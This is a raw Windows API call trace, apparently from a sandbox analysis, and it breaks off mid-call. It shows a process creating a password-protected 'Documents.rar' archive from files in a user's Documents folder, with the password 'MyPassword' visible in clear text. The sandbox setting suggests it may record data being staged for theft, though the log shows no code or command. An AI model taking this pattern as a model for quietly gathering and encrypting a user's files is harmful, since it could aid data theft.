[0081.985] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.985] ResetEvent (hEvent=0x344) returned 1 [0081.985] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.986] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.987] ResetEvent (hEvent=0x344) returned 1 [0081.987] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.989] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.989] ResetEvent (hEvent=0x344) returned 1 [0081.989] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.991] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.991] GetTickCount () returned 0x2a4e1 [0081.991] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17331985157) returned 1 [0081.991] GetTickCount () returned 0x2a4e1 [0081.991] GetTickCount () returned 0x2a4e1 [0081.991] GetTickCount () returned 0x2a4e1 [0081.991] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.991] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.991] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.991] ResetEvent (hEvent=0x33c) returned 1 [0081.991] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.992] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.993] ResetEvent (hEvent=0x33c) returned 1 [0081.993] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.994] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.994] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.994] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.994] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x36898 [0081.994] SetFilePointer (in: hFile=0x32c, lDistanceToMove=127, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x36917 [0081.994] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.994] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0081.994] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0081.994] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0081.994] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x128e0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x128e0, lpOverlapped=0x0) returned 1 [0081.998] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.998] SetFilePointer (in: hFile=0x32c, lDistanceToMove=223384, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x36898 [0081.998] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x36898 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b60 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0081.998] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8893a0 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0081.998] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e8893f0 [0081.998] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0081.998] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0081.998] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0081.998] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0081.998] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b60, Size=0x48) returned 0x1162e8891c0 [0081.998] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8891c0, Size=0x82) returned 0x1162e7f4e50 [0081.998] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f4e53*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f4e53*, lpNumberOfBytesWritten=0x141a0d82c0*=0x7f, lpOverlapped=0x0) returned 1 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079dd0 [0081.998] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x7f) returned 0x1162e7f44c0 [0081.998] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893f0 | out: hHeap=0x1162e7c0000) returned 1 [0081.998] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0081.998] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x491f7 [0081.998] CloseHandle (hObject=0x350) returned 1 [0081.998] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.998] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.999] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\-mjM.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.999] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.999] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\-mjM.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\-mjm.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.999] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.999] GetTickCount () returned 0x2a4f0 [0081.999] GetLastError () returned 0x0 [0081.999] SetLastError (dwErrCode=0x0) [0081.999] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0081.999] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0081.999] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0081.999] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0082.000] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0082.001] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.001] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.001] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.001] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.001] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="l7Td5TRgfXzOW kF6H0.docx") returned 24 [0082.001] SetWindowTextW (hWnd=0x10300, lpString="-mjM.xlsx") returned 1 [0082.001] GetTickCount () returned 0x2a4f0 [0082.001] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.001] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7180) returned 1 [0082.002] CryptGenRandom (in: hProv=0x116320a7180, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.002] CryptReleaseContext (hProv=0x116320a7180, dwFlags=0x0) returned 1 [0082.002] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x1eb)) [0082.002] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.002] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17333035000) returned 1 [0082.002] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x553c, lpOverlapped=0x0) returned 1 [0082.002] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9357c, nNumberOfBytesToRead=0xfaac4, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9357c*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.002] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.002] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.002] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ea0 [0082.003] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.003] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.003] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ef0 [0082.003] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.003] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.003] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0a0 [0082.003] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.003] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.003] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.003] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e889120 [0082.003] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889120, Size=0x7c) returned 0x1162e7f4e50 [0082.003] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.003] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0082.005] GetTickCount () returned 0x2a4f0 [0082.005] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17333349121) returned 1 [0082.005] GetTickCount () returned 0x2a4f0 [0082.005] GetTickCount () returned 0x2a4f0 [0082.005] GetTickCount () returned 0x2a4f0 [0082.005] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2e8 | out: ppv=0x141a0dd2e8*=0x11632079e30) returned 0x0 [0082.005] TaskbarList:ITaskbarList3:SetProgressState (This=0x11632079e30, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0082.006] TaskbarList:ITaskbarList3:SetProgressValue (This=0x11632079e30, hwnd=0x102f8, ullCompleted=0x4e0c7, ullTotal=0x31d668) returned 0x0 [0082.006] TaskbarList:IUnknown:Release (This=0x11632079e30) returned 0x0 [0082.006] GetLastError () returned 0x36b7 [0082.006] SetLastError (dwErrCode=0x36b7) [0082.006] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0082.006] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0082.006] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 1%") returned 5 [0082.006] SetWindowTextW (hWnd=0x10318, lpString=" 9%") returned 1 [0082.007] GetLastError () returned 0x0 [0082.007] SetLastError (dwErrCode=0x0) [0082.007] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0082.007] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 49%") returned 5 [0082.007] SetWindowTextW (hWnd=0x10314, lpString=" 93%") returned 1 [0082.007] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x9, lParam=0x0) returned 0x1 [0082.007] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.007] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.007] ResetEvent (hEvent=0x344) returned 1 [0082.007] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.009] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.009] ResetEvent (hEvent=0x344) returned 1 [0082.009] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.010] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.010] GetTickCount () returned 0x2a4f0 [0082.010] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17333826325) returned 1 [0082.010] GetTickCount () returned 0x2a4f0 [0082.010] GetTickCount () returned 0x2a4f0 [0082.010] GetTickCount () returned 0x2a4f0 [0082.010] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.010] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.010] ResetEvent (hEvent=0x33c) returned 1 [0082.010] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.011] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.011] ResetEvent (hEvent=0x33c) returned 1 [0082.011] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.011] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.011] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.011] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.011] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x491f7 [0082.011] SetFilePointer (in: hFile=0x32c, lDistanceToMove=121, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x49270 [0082.011] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.012] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.012] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.012] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.012] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x5590, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x5590, lpOverlapped=0x0) returned 1 [0082.012] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.012] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.012] SetFilePointer (in: hFile=0x32c, lDistanceToMove=299511, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x491f7 [0082.012] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x491f7 [0082.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0082.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a40 [0082.012] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a40, Size=0x48) returned 0x1162e888810 [0082.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f50 [0082.013] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f50, Size=0x48) returned 0x1162e889440 [0082.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fe0 [0082.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079fe0 | out: hHeap=0x1162e7c0000) returned 1 [0082.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0082.013] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fb0, Size=0x48) returned 0x1162e888680 [0082.013] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888680, Size=0x7c) returned 0x1162e7f4e50 [0082.013] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f4e53*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f4e53*, lpNumberOfBytesWritten=0x141a0d82c0*=0x79, lpOverlapped=0x0) returned 1 [0082.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c50 [0082.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x79) returned 0x1162e7f45e0 [0082.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889440 | out: hHeap=0x1162e7c0000) returned 1 [0082.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0082.013] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x4e800 [0082.013] CloseHandle (hObject=0x350) returned 1 [0082.013] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.013] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.013] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.013] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.013] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\35mJ-.pdf", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.013] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.013] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\35mJ-.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\35mj-.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.013] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.014] GetTickCount () returned 0x2a500 [0082.014] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.014] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.014] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.014] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.014] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="-mjM.xlsx") returned 9 [0082.014] SetWindowTextW (hWnd=0x10300, lpString="35mJ-.pdf") returned 1 [0082.014] GetTickCount () returned 0x2a500 [0082.014] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.014] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7180) returned 1 [0082.015] CryptGenRandom (in: hProv=0x116320a7180, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.015] CryptReleaseContext (hProv=0x116320a7180, dwFlags=0x0) returned 1 [0082.015] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x1fa)) [0082.015] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.015] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17334326921) returned 1 [0082.015] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | 